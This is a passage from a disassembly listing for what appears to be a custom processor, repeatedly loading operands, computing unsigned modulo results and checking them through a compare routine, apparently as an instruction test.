cfe8: 0d 60 02 03 wh16 r16,0x3
cfec: 10 40 02 10 ld32 r16,r16
cff0: 0d 46 3d 2c wl16 r9,0x31ec
cff4: 0d 60 01 23 wh16 r9,0x3
cff8: 10 40 01 29 ld32 r9,r9
cffc: 00 a0 01 10 umod r8,r16
d000: 20 70 03 e2 movepc rret,8
d004: 14 30 cc 03 br 10 <compare>,#al
d008: 00 10 00 41 add r2,1
d00c: 0d 41 fd 18 wl16 r8,0xff8
d010: 0d 60 01 03 wh16 r8,0x3
d014: 10 40 01 08 ld32 r8,r8
d018: 0d 44 1e 14 wl16 r16,0x20f4
d01c: 0d 60 02 03 wh16 r16,0x3
d020: 10 40 02 10 ld32 r16,r16
d024: 0d 46 3d 30 wl16 r9,0x31f0
d028: 0d 60 01 23 wh16 r9,0x3
d02c: 10 40 01 29 ld32 r9,r9
d030: 00 a0 01 10 umod r8,r16
d034: 20 70 03 e2 movepc rret,8
d038: 14 30 cb f6 br 10 <compare>,#al
d03c: 00 10 00 41 add r2,1
d040: 0d 41 fd 1c wl16 r8,0xffc
d044: 0d 60 01 03 wh16 r8,0x3
d048: 10 40 01 08 ld32 r8,r8
d04c: 0d 44 1e 18 wl16 r16,0x20f8
d050: 0d 60 02 03 wh16 r16,0x3
d054: 10 40 02 10 ld32 r16,r16
d058: 0d 46 3d 34 wl16 r9,0x31f4
d05c: 0d 60 01 23 wh16 r9,0x3
d060: 10 40 01 29 ld32 r9,r9
d064: 00 a0 01 10 umod r8,r16
d068: 20 70 03 e2 movepc rret,8
d06c: 14 30 cb e9 br 10 <compare>,#al
d070: 00 10 00 41 add r2,1
d074: 0d 42 01 00 wl16 r8,0x1000
d078: 0d 60 01 03 wh16 r8,0x3
d07c: 10 40 01 08 ld32 r8,r8
d080: 0d 44 1e 1c wl16 r16,0x20fc
d084: 0d 60 02 03 wh16 r16,0x3
d088: 10 40 02 10 ld32 r16,r16
d08c: 0d 46 3d 38 wl16 r9,0x31f8
d090: 0d 60 01 23 wh16 r9,0x3
d094: 10 40 01 29 ld32 r9,r9
d098: 00 a0 01 10 umod r8,r16
d09c: 20 70 03 e2 movepc rret,8
d0a0: 14 30 cb dc br 10 <compare>,#al
d0a4: 00 10 00 41 add r2,1
d0a8: 0d 42 01 04 wl16 r8,0x1004
d0ac: 0d 60 01 03 wh16 r8,0x3
d0b0: 10 40 01 08 ld32 r8,r8
d0b4: 0d 44 22 00 wl16 r16,0x2100
d0b8: 0d 60 02 03 wh16 r16,0x3
d0bc: 10 40 02 10 ld32 r16,r16
d0c0: 0d 46 3d 3c wl16 r9,0x31fc
d0c4: 0d 60 01 23 wh16 r9,0x3
d0c8: 10 40 01 29 ld32 r9,r9
d0cc: 00 a0 01 10 umod r8,r16
d0d0: 20 70 03 e2 movepc rret,8
d0d4: 14 30 cb cf br 10 <compare>,#al
d0d8: 00 10 00 41 add r2,1
d0dc: 0d 42 01 08 wl16 r8,0x1008
d0e0: 0d 60 01 03 wh16 r8,0x3
d0e4: 10 40 01 08 ld32 r8,r8
d0e8: 0d 44 22 04 wl16 r16,0x2104
d0ec: 0d 60 02 03 wh16 r16,0x3
d0f0: 10 40 02 10 ld32 r16,r16
d0f4: 0d 46 41 20 wl16 r9,0x3200
d0f8: 0d 60 01 23 wh16 r9,0x3
d0fc: 10 40 01 29 ld32 r9,r9
d100: 00 a0 01 10 umod r8,r16
d104: 20 70 03 e2 movepc rret,8
d108: 14 30 cb c2 br 10 <compare>,#al
d10c: 00 10 00 41 add r2,1
d110: 0d 42 01 0c wl16 r8,0x100c
d114: 0d 60 01 03 wh16 r8,0x3
d118: 10 40 01 08 ld32 r8,r8
d11c: 0d 44 22 08 wl16 r16,0x2108
d120: 0d 60 02 03 wh16 r16,0x3
d124: 10 40 02 10 ld32 r16,r16
d128: 0d 46 41 24 wl16 r9,0x3204
d12c: 0d 60 01 23 wh16 r9,0x3
d130: 10 40 01 29 ld32 r9,r9
d134: 00 a0 01 10 umod r8,r16
d138: 20 70 03 e2 movepc rret,8
d13c: 14 30 cb b5 br 10 <compare>,#al
d140: 00 10 00 41 add r2,1
d144: 0d 42 01 10 wl16 r8,0x1010
d148: 0d 60 01 03 wh16 r8,0x3
d14c: 10 40 01 08 ld32 r8,r8
d150: 0d 44 22 0c wl16 r16,0x210c
d154: 0d 60 02 03 wh16 r16,0x3
d158: 10 40 02 10 ld32 r16,r16
d15c: 0d 46 41 28 wl16 r9,0x3208
d160: 0d 60 01 23 wh16 r9,0x3
d164: 10 40 01 29 ld32 r9,r9
d168: 00 a0 01 10 umod r8,r16
d16c: 20 70 03 e2 movepc rret,8
d170: 14 30 cb a8 br 10 <compare>,#al
d174: 00 10 00 41 add r2,1
d178: 0d 42 01 14 wl16 r8,0x1014
d17c: 0d 60 01 03 wh16 r8,0x3
d180: 10 40 01 08 ld32 r8,r8
d184: 0d 44 22 10 wl16 r16,0x2110
d188: 0d 60 02 03 wh16 r16,0x3
d18c: 10 40 02 10 ld32 r16,r16
d190: 0d 46 41 2c wl16 r9,0x320c
d194: 0d 60 01 23 wh16 r9,0x3
d198: 10 40 01 29 ld32 r9,r9
d19c: 00 a0 01 10 umod r8,r16
d1a0: 20 70 03 e2 movepc rret,8
d1a4: 14 30 cb 9b br 10 <compare>,#al
d1a8: 00 10 00 41 add r2,1
d1ac: 0d 42 01 18 wl16 r8,0x1018
d1b0: 0d 60 01 03 wh16 r8,0x3
d1b4: 10 40 01 08 ld32 r8,r8
d1b8: 0d 44 22 14 wl16 r16,0x2114
d1bc: 0d 60 02 03 wh16 r16,0x3
d1c0: 10 40 02 10 ld32 r16,r16
d1c4: 0d 46 41 30 wl16 r9,0x3210
d1c8: 0d 60 01 23 wh16 r9,0x3
d1cc: 10 40 01 29 ld32 r9,r9
d1d0: 00 a0 01 10 umod r8,r16
d1d4: 20 70 03 e2 movepc rret,8
d1d8: 14 30 cb 8e br 10 <compare>,#al
d1dc: 00 10 00 41 add r2,1
d1e0: 0d 42 01 1c wl16 r8,0x101c
d1e4: 0d 60 01 03 wh16 r8,0x3
d1e8: 10 40 01 08 ld32 r8,r8
d1ec: 0d 44 22 18 wl16 r16,0x2118
d1f0: 0d 60 02 03 wh16 r16,0x3
d1f4: 10 40 02 10 ld32 r16,r16
d1f8: 0d 46 41 34 wl16 r9,0x3214
d1fc: 0d 60 01 23 wh16 r9,0x3
d200: 10 40 01 29 ld32 r9,r9
d204: 00 a0 01 10 umod r8,r16
d208: 20 70 03 e2 movepc rret,8
d20c: 14 30 cb 81 br 10 <compare>,#al
d210: 00 10 00 41 add r2,1
d214: 0d 42 05 00 wl16 r8,0x1020
d218: 0d 60 01 03 wh16 r8,0x3
d21c: 10 40 01 08 ld32 r8,r8
d220: 0d 44 22 1c wl16 r16,0x211c
d224: 0d 60 02 03 wh16 r16,0x3
d228: 10 40 02 10 ld32 r16,r16
d22c: 0d 46 41 38 wl16 r9,0x3218
d230: 0d 60 01 23 wh16 r9,0x3
d234: 10 40 01 29 ld32 r9,r9
d238: 00 a0 01 10 umod r8,r16
d23c: 20 70 03 e2 movepc rret,8
d240: 14 30 cb 74 br 10 <compare>,#al
d244: 00 10 00 41 add r2,1
d248: 0d 42 05 04 wl16 r8,0x1024
d24c: 0d 60 01 03 wh16 r8,0x3
d250: 10 40 01 08 ld32 r8,r8
d254: 0d 44 26 00 wl16 r16,0x2120
d258: 0d 60 02 03 wh16 r16,0x3
d25c: 10 40 02 10 ld32 r16,r16
d260: 0d 46 41 3c wl16 r9,0x321c
d264: 0d 60 01 23 wh16 r9,0x3
d268: 10 40 01 29 ld32 r9,r9
d26c: 00 a0 01 10 umod r8,r16
d270: 20 70 03 e2 movepc rret,8
d274: 14 30 cb 67 br 10 <compare>,#al
d278: 00 10 00 41 add r2,1
d27c: 0d 42 05 08 wl16 r8,0x1028
d280: 0d 60 01 03 wh16 r8,0x3
d284: 10 40 01 08 ld32 r8,r8
d288: 0d 44 26 04 wl16 r16,0x2124
d28c: 0d 60 02 03 wh16 r16,0x3
d290: 10 40 02 10 ld32 r16,r16
d294: 0d 46 45 20 wl16 r9,0x3220
d298: 0d 60 01 23 wh16 r9,0x3
d29c: 10 40 01 29 ld32 r9,r9
d2a0: 00 a0 01 10 umod r8,r16
d2a4: 20 70 03 e2 movepc rret,8
d2a8: 14 30 cb 5a br 10 <compare>,#al
d2ac: 00 10 00 41 add r2,1
d2b0: 0d 42 05 0c wl16 r8,0x102c
d2b4: 0d 60 01 03 wh16 r8,0x3
d2b8: 10 40 01 08 ld32 r8,r8
d2bc: 0d 44 26 08 wl16 r16,0x2128
d2c0: 0d 60 02 03 wh16 r16,0x3
d2c4: 10 40 02 10 ld32 r16,r16
d2c8: 0d 46 45 24 wl16 r9,0x3224
d2cc: 0d 60 01 23 wh16 r9,0x3
d2d0: 10 40 01 29 ld32 r9,r9
d2d4: 00 a0 01 10 umod r8,r16
d2d8: 20 70 03 e2 movepc rret,8
d2dc: 14 30 cb 4d br 10 <compare>,#al
d2e0: 00 10 00 41 add r2,1
d2e4: 0d 42 05 10 wl16 r8,0x1030
d2e8: 0d 60 01 03 wh16 r8,0x3
d2ec: 10 40 01 08 ld32 r8,r8
d2f0: 0d 44 26 0c wl16 r16,0x212c
d2f4: 0d 60 02 03 wh16 r16,0x3
d2f8: 10 40 02 10 ld32 r16,r16
d2fc: 0d 46 45 28 wl16 r9,0x3228
d300: 0d 60 01 23 wh16 r9,0x3
d304: 10 40 01 29 ld32 r9,r9
d308: 00 a0 01 10 umod r8,r16
d30c: 20 70 03 e2 movepc rret,8
d310: 14 30 cb 40 br 10 <compare>,#al
d314: 00 10 00 41 add r2,1
d318: 0d 42 05 14 wl16 r8,0x1034
d31c: 0d 60 01 03 wh16 r8,0x3
d320: 10 40 01 08 ld32 r8,r8
d324: 0d 44 26 10 wl16 r16,0x2130
d328: 0d 60 02 03 wh16 r16,0x3
d32c: 10 40 02 10 ld32 r16,r16
d330: 0d 46 45 2c wl16 r9,0x322c
d334: 0d 60 01 23 wh16 r9,0x3
d338: 10 40 01 29 ld32 r9,r9
d33c: 00 a0 01 10 umod r8,r16
d340: 20 70 03 e2 movepc rret,8
d344: 14 30 cb 33 br 10 <compare>,#al
d348: 00 10 00 41 add r2,1
d34c: 0d 42 05 18 wl16 r8,0x1038
d350: 0d 60 01 03 wh16 r8,0x3
d354: 10 40 01 08 ld32 r8,r8
d358: 0d 44 26 14 wl16 r16,0x2134
d35c: 0d 60 02 03 wh16 r16,0x3
d360: 10 40 02 10 ld32 r16,r16
d364: 0d 46 45 30 wl16 r9,0x3230
d368: 0d 60 01 23 wh16 r9,0x3
d36c: 10 40 01 29 ld32 r9,r9
d370: 00 a0 01 10 umod r8,r16
d374: 20 70 03 e2 movepc rret,8
d378: 14 30 cb 26 br 10 <compare>,#al
d37c: 00 10 00 41 add r2,1
d380: 0d 42 05 1c wl16 r8,0x103c
d384: 0d 60 01 03 wh16 r8,0x3
d388: 10 40 01 08 ld32 r8,r8
d38c: 0d 44 26 18 wl16 r16,0x2138
d390: 0d 60 02 03 wh16 r16,0x3
d394: 10 40 02 10 ld32 r16,r16
d398: 0d 46 45 34 wl16 r9,0x3234
d39c: 0d 60 01 23 wh16 r9,0x3
d3a0: 10 40 01 29 ld32 r9,r9
d3a4: 00 a0 01 10 umod r8,r16
d3a8: 20 70 03 e2 movepc rret,8
d3ac: 14 30 cb 19 br 10 <compare>,#al
d3b0: 00 10 00 41 add r2,1
d3b4: 0d 42 09 00 wl16 r8,0x1040
d3b8: 0d 60 01 03 wh16 r8,0x3
d3bc: 10 40 01 08 ld32 r8,r8
d3c0: 0d 44 26 1c wl16 r16,0x213c
d3c4: 0d 60 02 03 wh16 r16,0x3
d3c8: 10 40 02 10 ld32 r16,r16
d3cc: 0d 46 45 38 wl16 r9,0x3238
d3d0: 0d 60 01 23 wh16 r9,0x3
d3d4: 10 40 01 29 ld32 r9,r9
d3d8: 00 a0 01 10 umod r8,r16
d3dc: 20 70 03 e2 movepc rret,8
d3e0: 14 30 cb 0c br 10 <compare>,#al
d3e4: 00 10 00 41 add r2,1
d3e8: 0d 42 09 04 wl16 r8,0x1044
d3ec: 0d 60 01 03 wh16 r8,0x3
d3f0: 10 40 01 08 ld32 r8,r8
d3f4: 0d 44 2a 00 wl16 r16,0x2140
d3f8: 0d 60 02 03 wh16 r16,0x3
d3fc: 10 40 02 10 ld32 r16,r16
d400: 0d 46 45 3c wl16 r9,0x323c
d404: 0d 60 01 23 wh16 r9,0x3
d408: 10 40 01 29 ld32 r9,r9
d40c: 00 a0 01 10 umod r8,r16
d410: 20 70 03 e2 movepc rret,8
d414: 14 30 ca ff br 10 <compare>,#al
d418: 00 10 00 41 add r2,1
d41c: 0d 42 09 08 wl16 r8,0x1048
d420: 0d 60 01 03 wh16 r8,0x3
d424: 10 40 01 08 ld32 r8,r8
d428: 0d 44 2a 04 wl16 r16,0x2144
d42c: 0d 60 02 03 wh16 r16,0x3
d430: 10 40 02 10 ld32 r16,r16
d434: 0d 46 49 20 wl16 r9,0x3240
d438: 0d 60 01 23 wh16 r9,0x3
d43c: 10 40 01 29 ld32 r9,r9
d440: 00 a0 01 10 umod r8,r16
d444: 20 70 03 e2 movepc rret,8
d448: 14 30 ca f2 br 10 <compare>,#al
d44c: 00 10 00 41 add r2,1
d450: 0d 42 09 0c wl16 r8,0x104c
d454: 0d 60 01 03 wh16 r8,0x3
d458: 10 40 01 08 ld32 r8,r8
d45c: 0d 44 2a 08 wl16 r16,0x2148
d460: 0d 60 02 03 wh16 r16,0x3
d464: 10 40 02 10 ld32 r16,r16
d468: 0d 46 49 24 wl16 r9,0x3244
d46c: 0d 60 01 23 wh16 r9,0x3
d470: 10 40 01 29 ld32 r9,r9
d474: 00 a0 01 10 umod r8,r16
d478: 20 70 03 e2 movepc rret,8
d47c: 14 30 ca e5 br 10 <compare>,#al
d480: 00 10 00 41 add r2,1
d484: 0d 42 09 10 wl16 r8,0x1050
d488: 0d 60 01 03 wh16 r8,0x3
d48c: 10 40 01 08 ld32 r8,r8
d490: 0d 44 2a 0c wl16 r16,0x214c
d494: 0d 60 02 03 wh16 r16,0x3
d498: 10 40 02 10 ld32 r16,r16
d49c: 0d 46 49 28 wl16 r9,0x3248
d4a0: 0d 60 01 23 wh16 r9,0x3
d4a4: 10 40 01 29 ld32 r9,r9
d4a8: 00 a0 01 10 umod r8,r16
d4ac: 20 70 03 e2 movepc rret,8
d4b0: 14 30 ca d8 br 10 <compare>,#al
d4b4: 00 10 00 41 add r2,1
d4b8: 0d 42 09 14 wl16 r8,0x1054
d4bc: 0d 60 01 03 wh16 r8,0x3
d4c0: 10 40 01 08 ld32 r8,r8
d4c4: 0d 44 2a 10 wl16 r16,0x2150
d4c8: 0d 60 02 03 wh16 r16,0x3
d4cc: 10 40 02 10 ld32 r16,r16
d4d0: 0d 46 49 2c wl16 r9,0x324c
d4d4: 0d 60 01 23 wh16 r9,0x3
d4d8: 10 40 01 29 ld32 r9,r9
d4dc: 00 a0 01 10 umod r8,r16
d4e0: 20 70 03 e2 movepc rret,8
d4e4: 14 30 ca cb br 10 <compare>,#al
d4e8: 00 10 00 41 add r2,1
d4ec: 0d 42 09 18 wl16 r8,0x1058
d4f0: 0d 60 01 03 wh16 r8,0x3
d4f4: 10 40 01 08 ld32 r8,r8
d4f8: 0d 44 2a 14 wl16 r16,0x2154
d4fc: 0d 60 02 03 wh16 r16,0x3
d500: 10 40 02 10 ld32 r16,r16
d504: 0d 46 49 30 wl16 r9,0x3250
d508: 0d 60 01 23 wh16 r9,0x3
d50c: 10 40 01 29 ld32 r9,r9
d510: 00 a0 01 10 umod r8,r16
d514: 20 70 03 e2 movepc rret,8
d518: 14 30 ca be br 10 <compare>,#al
d51c: 00 10 00 41 add r2,1
d520: 0d 42 09 1c wl16 r8,0x105c
d524: 0d 60 01 03 wh16 r8,0x3
d528: 10 40 01 08 ld32 r8,r8
d52c: 0d 44 2a 18 wl16 r16,0x2158
d530: 0d 60 02 03 wh16 r16,0x3
d534: 10 40 02 10 ld32 r16,r16
d538: 0d 46 49 34 wl16 r9,0x3254
d53c: 0d 60 01 23 wh16 r9,0x3
d540: 10 40 01 29 ld32 r9,r9
d544: 00 a0 01 10 umod r8,r16
d548: 20 70 03 e2 movepc rret,8
d54c: 14 30 ca b1 br 10 <compare>,#al
d550: 00 10 00 41 add r2,1
d554: 0d 42 0d 00 wl16 r8,0x1060
d558: 0d 60 01 03 wh16 r8,0x3
d55c: 10 40 01 08 ld32 r8,r8
d560: 0d 44 2a 1c wl16 r16,0x215c
d564: 0d 60 02 03 wh16 r16,0x3
d568: 10 40 02 10 ld32 r16,r16
d56c: 0d 46 49 38 wl16 r9,0x3258
d570: 0d 60 01 23 wh16 r9,0x3
d574: 10 40 01 29 ld32 r9,r9
d578: 00 a0 01 10 umod r8,r16
d57c: 20 70 03 e2 movepc rret,8
d580: 14 30 ca a4 br 10 <compare>,#al
d584: 00 10 00 41 add r2,1
d588: 0d 42 0d 04 wl16 r8,0x1064
d58c: 0d 60 01 03 wh16 r8,0x3
d590: 10 40 01 08 ld32 r8,r8
d594: 0d 44 2e 00 wl16 r16,0x2160
d598: 0d 60 02 03 wh16 r16,0x3
d59c: 10 40 02 10 ld32 r16,r16
d5a0: 0d 46 49 3c wl16 r9,0x325c
d5a4: 0d 60 01 23 wh16 r9,0x3
d5a8: 10 40 01 29 ld32 r9,r9
d5ac: 00 a0 01 10 umod r8,r16
d5b0: 20 70 03 e2 movepc rret,8
d5b4: 14 30 ca 97 br 10 <compare>,#al
d5b8: 00 10 00 41 add r2,1
d5bc: 0d 42 0d 08 wl16 r8,0x1068
d5c0: 0d 60 01 03 wh16 r8,0x3
d5c4: 10 40 01 08 ld32 r8,r8
d5c8: 0d 44 2e 04 wl16 r16,0x2164
d5cc: 0d 60 02 03 wh16 r16,0x3
d5d0: 10 40 02 10 ld32 r16,r16
d5d4: 0d 46 4d 20 wl16 r9,0x3260
d5d8: 0d 60 01 23 wh16 r9,0x3
d5dc: 10 40 01 29 ld32 r9,r9
d5e0: 00 a0 01 10 umod r8,r16
d5e4: 20 70 03 e2 movepc rret,8
d5e8: 14 30 ca 8a br 10 <compare>,#al
d5ec: 00 10 00 41 add r2,1
d5f0: 0d 42 0d 0c wl16 r8,0x106c
d5f4: 0d 60 01 03 wh16 r8,0x3
d5f8: 10 40 01 08 ld32 r8,r8
d5fc: 0d 44 2e 08 wl16 r16,0x2168
d600: 0d 60 02 03 wh16 r16,0x3
d604: 10 40 02 10 ld32 r16,r16
d608: 0d 46 4d 24 wl16 r9,0x3264
d60c: 0d 60 01 23 wh16 r9,0x3
d610: 10 40 01 29 ld32 r9,r9
d614: 00 a0 01 10 umod r8,r16
d618: 20 70 03 e2 movepc rret,8
d61c: 14 30 ca 7d br 10 <compare>,#al
d620: 00 10 00 41 add r2,1
d624: 0d 42 0d 10 wl16 r8,0x1070
d628: 0d 60 01 03 wh16 r8,0x3
d62c: 10 40 01 08 ld32 r8,r8
d630: 0d 44 2e 0c wl16 r16,0x216c
d634: 0d 60 02 03 wh16 r16,0x3
d638: 10 40 02 10 ld32 r16,r16
d63c: 0d 46 4d 28 wl16 r9,0x3268
d640: 0d 60 01 23 wh16 r9,0x3
d644: 10 40 01 29 ld32 r9,r9
d648: 00 a0 01 10 umod r8,r16
d64c: 20 70 03 e2 movepc rret,8
d650: 14 30 ca 70 br 10 <compare>,#al
d654: 00 10 00 41 add r2,1
d658: 0d 42 0d 14 wl16 r8,0x1074
d65c: 0d 60 01 03 wh16 r8,0x3
d660: 10 40 01 08 ld32 r8,r8
d664: 0d 44 2e 10 wl16 r16,0x2170
d668: 0d 60 02 03 wh16 r16,0x3
d66c: 10 40 02 10 ld32 r16,r16
d670: 0d 46 4d 2c wl16 r9,0x326c
d674: 0d 60 01 23 wh16 r9,0x3
d678: 10 40 01 29 ld32 r9,r9
d67c: 00 a0 01 10 umod r8,r16
d680: 20 70 03 e2 movepc rret,8
d684: 14 30 ca 63 br 10 <compare>,#al
d688: 00 10 00 41 add r2,1
d68c: 0d 42 0d 18 wl16 r8,0x1078
d690: 0d 60 01 03 wh16 r8,0x3
d694: 10 40 01 08 ld32 r8,r8
d698: 0d 44 2e 14 wl16 r16,0x2174
d69c: 0d 60 02 03 wh16 r16,0x3
d6a0: 10 40 02 10 ld32 r16,r16
d6a4: 0d 46 4d 30 wl16 r9,0x3270
d6a8: 0d 60 01 23 wh16 r9,0x3
d6ac: 10 40 01 29 ld32 r9,r9
d6b0: 00 a0 01 10 umod r8,r16
d6b4: 20 70 03 e2 movepc rret,8
d6b8: 14 30 ca 56 br 10 <compare>,#al
d6bc: 00 10 00 41 add r2,1
d6c0: 0d 42 0d 1c wl16 r8,0x107c
d6c4: 0d 60 01 03 wh16 r8,0x3
d6c8: 10 40 01 08 ld32 r8,r8
d6cc: 0d 44 2e 18 wl16 r16,0x2178
d6d0: 0d 60 02 03 wh16 r16,0x3
d6d4: 10 40 02 10 ld32 r16,r16
d6d8: 0d 46 4d 34 wl16 r9,0x3274
d6dc: 0d 60 01 23 wh16 r9,0x3
d6e0: 10 40 01 29 ld32 r9,r9
d6e4: 00 a0 01 10 umod r8,r16
d6e8: 20 70 03 e2 movepc rret,8
d6ec: 14 30 ca 49 br 10 <compare>,#al
d6f0: 00 10 00 41 add r2,1
d6f4: 0d 42 11 00 wl16 r8,0x1080
d6f8: 0d 60 01 03 wh16 r8,0x3
d6fc: 10 40 01 08 ld32 r8,r8
d700: 0d 44 2e 1c wl16 r16,0x217c
d704: 0d 60 02 03 wh16 r16,0x3
d708: 10 40 02 10 ld32 r16,r16
d70c: 0d 46 4d 38 wl16 r9,0x3278
d710: 0d 60 01 23 wh16 r9,0x3
d714: 10 40 01 29 ld32 r9,r9
d718: 00 a0 01 10 umod r8,r16
d71c: 20 70 03 e2 movepc rret,8
d720: 14 30 ca 3c br 10 <compare>,#al
d724: 00 10 00 41 add r2,1
d728: 0d 42 11 04 wl16 r8,0x1084
d72c: 0d 60 01 03 wh16 r8,0x3
d730: 10 40 01 08 ld32 r8,r8
d734: 0d 44 32 00 wl16 r16,0x2180
d738: 0d 60 02 03 wh16 r16,0x3
d73c: 10 40 02 10 ld32 r16,r16
d740: 0d 46 4d 3c wl16 r9,0x327c
d744: 0d 60 01 23 wh16 r9,0x3
d748: 10 40 01 29 ld32 r9,r9
d74c: 00 a0 01 10 umod r8,r16
d750: 20 70 03 e2 movepc rret,8
d754: 14 30 ca 2f br 10 <compare>,#al
d758: 00 10 00 41 add r2,1
d75c: 0d 42 11 08 wl16 r8,0x1088
d760: 0d 60 01 03 wh16 r8,0x3
d764: 10 40 01 08 ld32 r8,r8
d768: 0d 44 32 04 wl16 r16,0x2184
d76c: 0d 60 02 03 wh16 r16,0x3
d770: 10 40 02 10 ld32 r16,r16
d774: 0d 46 51 20 wl16 r9,0x3280
d778: 0d 60 01 23 wh16 r9,0x3
d77c: 10 40 01 29 ld32 r9,r9
d780: 00 a0 01 10 umod r8,r16
d784: 20 70 03 e2 movepc rret,8
d788: 14 30 ca 22 br 10 <compare>,#al
d78c: 00 10 00 41 add r2,1
d790: 0d 42 11 0c wl16 r8,0x108c
d794: 0d 60 01 03 wh16 r8,0x3
d798: 10 40 01 08 ld32 r8,r8
d79c: 0d 44 32 08 wl16 r16,0x2188
d7a0: 0d 60 02 03 wh16 r16,0x3
d7a4: 10 40 02 10 ld32 r16,r16
d7a8: 0d 46 51 24 wl16 r9,0x3284
d7ac: 0d 60 01 23 wh16 r9,0x3
d7b0: 10 40 01 29 ld32 r9,r9
d7b4: 00 a0 01 10 umod r8,r16
d7b8: 20 70 03 e2 movepc rret,8
d7bc: 14 30 ca 15 br 10 <compare>,#al
d7c0: 00 10 00 41 add r2,1
d7c4: 0d 42 11 10 wl16 r8,0x1090
d7c8: 0d 60 01 03 wh16 r8,0x3
d7cc: 10 40 01 08 ld32 r8,r8
d7d0: 0d 44 32 0c wl16 r16,0x218c
d7d4: 0d 60 02 03 wh16 r16,0x3
d7d8: 10 40 02 10 ld32 r16,r16
d7dc: 0d 46 51 28 wl16 r9,0x3288
d7e0: 0d 60 01 23 wh16 r9,0x3
d7e4: 10 40 01 29 ld32 r9,r9
d7e8: 00 a0 01 10 umod r8,r16
d7ec: 20 70 03 e2 movepc rret,8
d7f0: 14 30 ca 08 br 10 <compare>,#al
d7f4: 00 10 00 41 add r2,1
d7f8: 0d 42 11 14 wl16 r8,0x1094
d7fc: 0d 60 01 03 wh16 r8,0x3
d800: 10 40 01 08 ld32 r8,r8
d804: 0d 44 32 10 wl16 r16,0x2190
d808: 0d 60 02 03 wh16 r16,0x3
d80c: 10 40 02 10 ld32 r16,r16
d810: 0d 46 51 2c wl16 r9,0x328c
d814: 0d 60 01 23 wh16 r9,0x3
d818: 10 40 01 29 ld32 r9,r9
d81c: 00 a0 01 10 umod r8,r16
d820: 20 70 03 e2 movepc rret,8
d824: 14 30 c9 fb br 10 <compare>,#al
d828: 00 10 00 41 add r2,1
d82c: 0d 42 11 18 wl16 r8,0x1098
d830: 0d 60 01 03 wh16 r8,0x3
d834: 10 40 01 08 ld32 r8,r8
d838: 0d 44 32 14 wl16 r16,0x2194
d83c: 0d 60 02 03 wh16 r16,0x3
d840: 10 40 02 10 ld32 r16,r16
d844: 0d 46 51 30 wl16 r9,0x3290
d848: 0d 60 01 23 wh16 r9,0x3
d84c: 10 40 01 29 ld32 r9,r9
d850: 00 a0 01 10 umod r8,r16
d854: 20 70 03 e2 movepc rret,8
d858: 14 30 c9 ee br 10 <compare>,#al
d85c: 00 10 00 41 add r2,1
d860: 0d 42 11 1c wl16 r8,0x109c
d864: 0d 60 01 03 wh16 r8,0x3
d868: 10 40 01 08 ld32 r8,r8
d86c: 0d 44 32 18 wl16 r16,0x2198
d870: 0d 60 02 03 wh16 r16,0x3
d874: 10 40 02 10 ld32 r16,r16
d878: 0d 46 51 34 wl16 r9,0x3294
d87c: 0d 60 01 23 wh16 r9,0x3
d880: 10 40 01 29 ld32 r9,r9
d884: 00 a0 01 10 umod r8,r16
d888: 20 70 03 e2 movepc rret,8
d88c: 14 30 c9 e1 br 10 <compare>,#al
d890: 00 10 00 41 add r2,1
d894: 0d 42 15 00 wl16 r8,0x10a0
d898: 0d 60 01 03 wh16 r8,0x3
d89c: 10 40 01 08 ld32 r8,r8
d8a0: 0d 44 32 1c wl16 r16,0x219c
d8a4: 0d 60 02 03 wh16 r16,0x3
d8a8: 10 40 02 10 ld32 r16,r16
d8ac: 0d 46 51 38 wl16 r9,0x3298
d8b0: 0d 60 01 23 wh16 r9,0x3
d8b4: 10 40 01 29 ld32 r9,r9
d8b8: 00 a0 01 10 umod r8,r16
d8bc: 20 70 03 e2 movepc rret,8
d8c0: 14 30 c9 d4 br 10 <compare>,#al
d8c4: 00 10 00 41 add r2,1
d8c8: 0d 42 15 04 wl16 r8,0x10a4
d8cc: 0d 60 01 03 wh16 r8,0x3
d8d0: 10 40 01 08 ld32 r8,r8
d8d4: 0d 44 36 00 wl16 r16,0x21a0
d8d8: 0d 60 02 03 wh16 r16,0x3
d8dc: 10 40 02 10 ld32 r16,r16
d8e0: 0d 46 51 3c wl16 r9,0x329c
d8e4: 0d 60 01 23 wh16 r9,0x3
d8e8: 10 40 01 29 ld32 r9,r9
d8ec: 00 a0 01 10 umod r8,r16
d8f0: 20 70 03 e2 movepc rret,8
d8f4: 14 30 c9 c7 br 10 <compare>,#al
d8f8: 00 10 00 41 add r2,1
d8fc: 0d 42 15 08 wl16 r8,0x10a8
d900: 0d 60 01 03 wh16 r8,0x3
d904: 10 40 01 08 ld32 r8,r8
d908: 0d 44 36 04 wl16 r16,0x21a4
d90c: 0d 60 02 03 wh16 r16,0x3
d910: 10 40 02 10 ld32 r16,r16
d914: 0d 46 55 20 wl16 r9,0x32a0
d918: 0d 60 01 23 wh16 r9,0x3
d91c: 10 40 01 29 ld32 r9,r9
d920: 00 a0 01 10 umod r8,r16
d924: 20 70 03 e2 movepc rret,8
d928: 14 30 c9 ba br 10 <compare>,#al
d92c: 00 10 00 41 add r2,1
d930: 0d 42 15 0c wl16 r8,0x10ac
d934: 0d 60 01 03 wh16 r8,0x3
d938: 10 40 01 08 ld32 r8,r8
d93c: 0d 44 36 08 wl16 r16,0x21a8
d940: 0d 60 02 03 wh16 r16,0x3
d944: 10 40 02 10 ld32 r16,r16
d948: 0d 46 55 24 wl16 r9,0x32a4
d94c: 0d 60 01 23 wh16 r9,0x3
d950: 10 40 01 29 ld32 r9,r9
d954: 00 a0 01 10 umod r8,r16
d958: 20 70 03 e2 movepc rret,8
d95c: 14 30 c9 ad br 10 <compare>,#al
d960: 00 10 00 41 add r2,1
d964: 0d 42 15 10 wl16 r8,0x10b0
d968: 0d 60 01 03 wh16 r8,0x3
d96c: 10 40 01 08 ld32 r8,r8
d970: 0d 44 36 0c wl16 r16,0x21ac
d974: 0d 60 02 03 wh16 r16,0x3
d978: 10 40 02 10 ld32 r16,r16
d97c: 0d 46 55 28 wl16 r9,0x32a8
d980: 0d 60 01 23 wh16 r9,0x3
d984: 10 40 01 29 ld32 r9,r9
d988: 00 a0 01 10 umod r8,r16
d98c: 20 70 03 e2 movepc rret,8
d990: 14 30 c9 a0 br 10 <compare>,#al
d994: 00 10 00 41 add r2,1
d998: 0d 42 15 14 wl16 r8,0x10b4
d99c: 0d 60 01 03 wh16 r8,0x3
d9a0: 10 40 01 08 ld32 r8,r8
d9a4: 0d 44 36 10 wl16 r16,0x21b0
d9a8: 0d 60 02 03 wh16 r16,0x3
d9ac: 10 40 02 10 ld32 r16,r16
d9b0: 0d 46 55 2c wl16 r9,0x32ac
